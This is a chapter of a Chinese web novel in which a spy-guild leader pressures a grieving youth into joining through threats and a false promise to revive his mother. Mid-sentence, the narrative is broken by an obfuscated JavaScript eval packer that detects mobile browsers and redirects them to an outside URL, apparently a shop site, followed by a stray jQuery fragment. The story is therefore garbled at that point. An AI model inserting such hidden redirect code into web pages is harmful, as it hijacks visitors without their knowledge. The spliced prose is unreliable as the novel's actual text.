96.乌盟
作品:《反派?那也得冲业绩!》 亡命之徒,相依为命,乌云之下,同盟聚合。
乌盟的入盟仪式很简单,很荒谬。
大家一起包饺子。
食材是进口的,团队是拼装的,参加的人相互是陌生的,首领是临时上任的。这场聚会的目的,似乎就是强硬的非要把他们这些人联系在一起。
落言迟到了。
众人开始各忙各的,好像这场名义上为他举办的聚会,他本人是否到来根本不重要。
星乙低着头,看起来很平静,手上五秒一个饺子,动作飞快。
“长官,我……”光头卷起袖子,小心翼翼的凑到星乙身边,把面粉递到他面前。“涧山和涧空的傀儡壳怎么处置?”
星乙低着头,专心致志的包着饺子,没理他。
“那天是我的错……”
他肩头的红羽打断他说:“那天所有人都在演戏,只有你当真了,现在后知后觉,怕我反过来报复你?”
“当然不是!……但也,没人告诉我,那是演给涧山和涧空看的。”
“那是你的问题,作为情报组织分队队长,不仅没有察言观色的基本功,连被同事排挤了都不知道。跟我有什么关系。”
光头自认理亏,却下意识反驳:“我没有被……”
“不能干就滚,别拿这些破事来烦我。”
光头被噎了一下,心底对他也不是完全服气的,凑到他面前还想辩解几句,嘴巴一开一合,刚发出一个音,突然眼前一白。
竟是星乙趁机抓了把面粉,摔在了他的脸上。
白沫空中爆炸,光头脸上瞬间发白,朝后猛跳,不住甩头,被呛的直咳嗽。
粉沫呛进了嗓子眼,光头一边揉着眼一边吐舌头,终于把所有人的目光都引了过来。
但也没人敢把眼停在星乙身上,好像大家已经习惯了他这样突如其来的捉弄人了。
光头抹了一把脸,再也不吭声,不往他跟前凑了。
一间不大不小的包厢,支着几张桌子,一群人挽着袖子搓面的搓面,洗菜的洗菜,可就是安静的诡异,没一个人愿意说话。
光头一时间迷茫,不知道这是什么意思。
又悄悄走到离星乙最远的位置,找人搭话:“他人前人后变脸真快,以前只在圣殿看他跟在右天王身边,还以为是个……”
那人瞪了他一眼,很愤恨他找上自己似的,躲瘟疫一样从光头身边逃走了。
光头拾起刚才那人随手丢下的擀面杖,抿着嘴,有一下没一下的戳在光滑的面团上,“什么意思……”
也许除了光头,所有人都知道,星乙根本没把他放在队长名单里,就算挂着名号,没有星乙的认可,是没人敢和光头多说一句话的。
宁得罪君子,不得罪小人。
光头不是实在的君子,星乙却是实在的小人。
如果得罪星乙的后果,只是被他用面粉膈应一下,那星乙就不是星乙了。
“我来晚了。”聚会的主角出现。
落言一进门,浑身卷着一层白,扎起来的头发也是银白,只有衬衫是黑色的。他眼角眉梢是活泼的,猛的闯进这场死气沉沉的聚会,打的所有人措手不及。
“要自我介绍吗?”他问。
“……”没人回答他。
落言只好看向离他最近,也是远离群体的光头,指着自己:“要自我介绍吗?”
所有人不约而同朝新任首领望过去。这其实是很有喜感的画面,星乙恰好站在他的对角,所有人稀疏分布站在屋子的各个坐标,留给落言看到中心的路径狭小而窄。
他只能隔着整个乌盟,在夹缝中看到星乙。
每个人都有自己的视觉空档,这就导致每个人看到的星乙不同,比如落言现在看到的他,就只是个对自己包出来的饺子特别不满意的普通人。
星乙把和好的面团反扣在盆里,手上一丁点面泥巴都没留下。
他像没注意到来人一样,转身的瞬间才精准的定位到他,落言想抓紧机会冲他笑一下都来不及。
星乙走向这间会议室最里侧,风琴塔的底层设计就是为了各种会议而建,每一间小屋子至少也有分隔开的两块。比如当他们这一边正以古怪的氛围“做饭”时,赛江和莫求仙已经被星乙晾了一个多小时。
空荡荡的房间,只有两张椅子,和一个钟表。
青红小鸟在桌子上各自为营,青色安静警惕,红色热情奔放。
赛江坐在椅子上,焦躁的听着钟表滴答滴答响,低着头不说话。莫求仙腿翘在桌子上,已经仰着头睡着了。
终于,星乙进门的瞬间,赛江被惊醒般的抬起头。
“你不会加入你们的,你想都别想。”
星乙戳了戳莫求仙的脑门,后者睁开双眼,立刻清醒着从椅子上蹦起来,星乙借机坐到了椅子上。
莫求仙撇撇嘴,站到了墙角。
红羽:“不加入,就杀了你。”
“如果不是你们这些人包庇罪犯,我母亲根本不会被挖走灵心,不仅如此,你们居然偷偷把她放走,没了尸体,我母亲再也无法复活!”
“你们都是杀人凶手。”赛江说着,眼底闪起亮晶晶的水光,凝视着星乙似乎在问他要个解释。“如果你是我,你会为了活命和杀了母亲的人狼狈为奸吗?”
星乙没有立刻回答,他别过脸,飞快把红羽捂在了手心里,像怕红羽一不小心说出什么无法挽回的话。
红羽的消失引起了青鸟的不安,瘦弱的青色小鸟惊慌失措,慌不择路的凑到星乙胳膊边,贴着他,依靠他,妄图克服恐惧。
星乙挪开了胳膊。
青鸟立刻微弱的哀嚎了一声,它的声音不如红羽清晰,但因为那两个音节太好辨认了,在空荡荡的房间里,赛江、莫求仙、星乙都听的一清二楚。
青鸟抬头,冲星乙叫:“妈妈。”
“……它也会说话?”莫求仙吓了一跳。
意识到没有红羽冲锋陷阵,星乙也没有要帮助的意思,青鸟只好委屈的端正了身子,重新看向桌子对面的赛江,说:“会的。”
会为了活命和杀掉母亲的人狼狈为奸吗?
会的。
“母亲只是一个符号,我不需要,我不在乎,就连这两只帮我说话的小鸟都比她重要,更别说生命了。”青鸟说,星乙想。
赛江顿了顿:“你母亲对你不好?”
“很好,她是对我最好的人。”
赛江:“她做过什么对不起你的事吗?”
“没有。”
莫求仙看着他们两个,两手撑在桌子中央,低头抿住嘴不再吭声。
赛江震惊于他波澜不惊的神情,终于骂了出来:“你这种人渣,你也配有母亲?你们乌盟的人,果然都这么寡恩寡德,冷血冷情吗。”
青鸟被他的斥责吓到了,转过身,不愿面对赛江。
星乙松了口气,这才又把红羽放了出来,转而把青鸟放在手心一下下安抚。
“看来你是真的看不上乌盟。”红羽接过青鸟翻译,直接飞到赛江手边,冲着他叫唤。
“但你以为你有得选吗。”
“你现在能安安稳稳坐在这跟我说话,乌盟不比戒律殿的功劳小,我们虽然没那么光明磊落,但也是实在为天国做事的。”红羽说:“你恐怕还不知道,你母亲死前也是乌盟的人吧。”
“胡说八道!”
“我不对刚失去母亲的孩子撒谎。”红羽歪了歪脑袋,“二十二大队队长鸿源,从我来到乌盟,她前后参加过9次外国情报组织的清剿任务,是个责任心很重的人,我还记得,她擅长双刀。”
赛江安静的听着,短短几句话的功夫脸色几变,最后看向了自己的手。
“你也会用双刀。”
赛江愣愣的点了头。
“你杀过人吗?”
“……没有。”
“很快就会有了,”星乙站起身,大功告成般松了口气。红羽:“现在走出门,杀了外面那个没头发的蠢货,你就是继你母亲后下一任乌盟队长。”
“我说我不会加入乌盟的,你听不懂人话吗?!”赛江已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076755|194639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经没精力再和他拉扯,跟星乙说话让他十分疲惫。
星乙摇摇头,青鸟探出头:“我有让你母亲复活的办法。”
赛江僵硬了几秒,不可置信:“真的?”
青鸟:“我从不在这种事上撒谎,只要能找到你母亲的灵心,就算没有她的躯壳,我也有办法复活她。”
赛江咬牙切齿:“我母亲的灵心在哪,该问你们不是吗!清明已经死了,我上哪里找我母亲的心!?”
“我是不知道你母亲的灵心被清明弄哪里去了。”红羽说,青鸟接着:“我只答应你,如果你肯为乌盟卖命,等有一天找到她的灵心,我会告诉你复活的办法,至于怎么找,那是你该操心的。”
“我有必要再提醒你,乌盟是天国最大的地下情报组织,传播的每一句话都会决定很多人的生死。这里很多人都和清明打过交道,兴许你运气好,真能顺藤摸瓜找到点什么连我都不知道的东西。”星乙话语间来到了他的面前,安慰似的拍了拍他的肩膀。红羽:“但要是拒绝,不仅是你母亲复活无望,连你今天别想走出这个房间。”
“要么加入我们,为你母亲活下去,要么死在这里,和你母亲一起做孤魂野鬼,你自己选吧。”
话音一落,房间里又只剩下钟表点点滴滴的声音,催促着走投无路的少年快下决定。
“你真无耻。”这是赛江的答复。
甩下这句话,他反手伸向背后,抽出了两把本看不到的双刃。
星乙贴心的为他打开了门。
“恭喜你,成为乌盟唯一一个,为了母亲,非胁迫加入的一员。”青鸟说。赛江闻若未闻,他前脚出去,星乙就忙不迭关上了门,害怕听到声音一样一把扯下了一只音耳,再要去摘另一只,手却在半空被人捉住了。
对了,还有一个。
星乙低头看着她,目睹了两人谈判全程的莫求仙恰好也静静地看着他。女孩反常的沉默引来了诈骗犯的心虚,星乙皱眉回避了她的眼神。
门外传来光头男的尖叫声。
“啪!”莫求仙甩给他一巴掌。
星乙闭上了眼,青鸟被吓得绕着屋顶乱飞。
“你真无耻。”莫求仙的声音传到右耳,她死死攥着星乙的手腕,怕他逃避现实一样紧紧逼问:“这么幼稚骗人的把戏,你也好意思拿出来骗一个刚死了娘的人?你要不要脸!”
哪里有什么特殊的复活办法?不过是星乙骗赛江加入乌盟的幌子而已。
“骗子!”
星乙没说什么,他右手慢慢发力,很快就向莫求仙证明凭她那点力气根本牵制不住自己。两人四目相对,莫求仙眼睛里满是愤怒和失望,只有那一个想法:罗新是对的。
“星乙,我看不起你。”
红羽:“我最讨厌听别人教训我,再惹我不高兴,我就把你转手出去做外面那个光头的陪葬品。”
星乙推开了她,开门,关门,消失在她的视线里。
“妈妈!妈妈、妈妈……”青鸟一头撞在莫求仙身上,貌似想用这种不痛不痒的冲击,责备她欺负自己的妈妈。
莫求仙离开的时候,外面只剩下最后一个人。
白发男人正凝神盯着案板上一只饱满漂亮的饺子,他手里握着一张坑坑洼洼被摧残已久的饺子皮,看样子是真的在认真学包饺子。
“你呢,你为什么加入乌盟?”莫求仙被他吸引,走上前问他。
落言小心翼翼的捏出一个个褶子,很随意的说:“我乐意。”
“……你是在妖界长大的。”
“嗯。”
“落言,我知道你,你在蓝国时用的是‘韩鲸’这个名字,我还知道你曾经是灼王身边的谋士。”
落言笑了:“说那么复杂,我可听不懂。”
“我只是想问你一个问题,你既然曾经是灼王的谋士,应该能给我一个答案吧。”莫求仙不等他答应,自顾自的说:“怎么判断一个人是好是坏呢?”
“不到死亡,是判断不了一个人是好是坏的。”
莫求仙叹了口气。白问。

